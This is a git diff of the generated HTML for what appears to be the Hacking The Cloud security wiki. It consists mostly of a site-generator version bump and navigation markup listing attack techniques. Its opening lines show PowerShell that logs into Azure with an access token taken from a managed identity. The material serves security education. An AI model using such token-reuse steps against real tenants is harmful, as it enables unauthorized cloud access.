 </code></pre></div> <a class=glightbox href=../../images/azure/abusing-managed-identities/image-25.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Azure Managed Identities" src=../../images/azure/abusing-managed-identities/image-25.png></a></p> <p>Using the Azure Powershell module, we can connect to Azure with the access token: <div class=highlight><pre><span></span><code><span class=n>PS</span><span class=p>&gt;</span> <span class=nb>Install-Module</span> <span class=n>-Name</span> <span class=n>Az</span> <span class=n>-Repository</span> <span class=n>PSGallery</span> <span class=n>-Force</span>
 <span class=n>PS</span><span class=p>&gt;</span> <span class=nb>Connect-AzAccount</span> <span class=n>-AccessToken</span> <span class=p>&lt;</span><span class=n>access_token</span><span class=p>&gt;</span> <span class=n>-AccountId</span> <span class=p>&lt;</span><span class=n>client_id</span><span class=p>&gt;</span>
diff --git a/azure/anonymous-blob-access/index.html b/azure/anonymous-blob-access/index.html
index 56c138c52..7afb530df 100644
--- a/azure/anonymous-blob-access/index.html
+++ b/azure/anonymous-blob-access/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Finding and accessing files stored in Azure Storage Accounts without authentication."><link href=https://hackingthe.cloud/azure/anonymous-blob-access/ rel=canonical><link href=../abusing-managed-identities/ rel=prev><link href=../enum_email_addresses/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Anonymous Blob Access - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Anonymous Blob Access - Hacking The Cloud"><meta property=og:description content="Finding and accessing files stored in Azure Storage Accounts without authentication."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/azure/anonymous-blob-access/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Anonymous Blob Access - Hacking The Cloud"><meta property=twitter:description content="Finding and accessing files stored in Azure Storage Accounts without authentication."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Finding and accessing files stored in Azure Storage Accounts without authentication."><link href=https://hackingthe.cloud/azure/anonymous-blob-access/ rel=canonical><link href=../abusing-managed-identities/ rel=prev><link href=../enum_email_addresses/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Anonymous Blob Access - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Anonymous Blob Access - Hacking The Cloud"><meta property=og:description content="Finding and accessing files stored in Azure Storage Accounts without authentication."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/azure/anonymous-blob-access/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Anonymous Blob Access - Hacking The Cloud"><meta property=twitter:description content="Finding and accessing files stored in Azure Storage Accounts without authentication."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#exploiting-anonymous-blob-access class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Anonymous Blob Access </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span 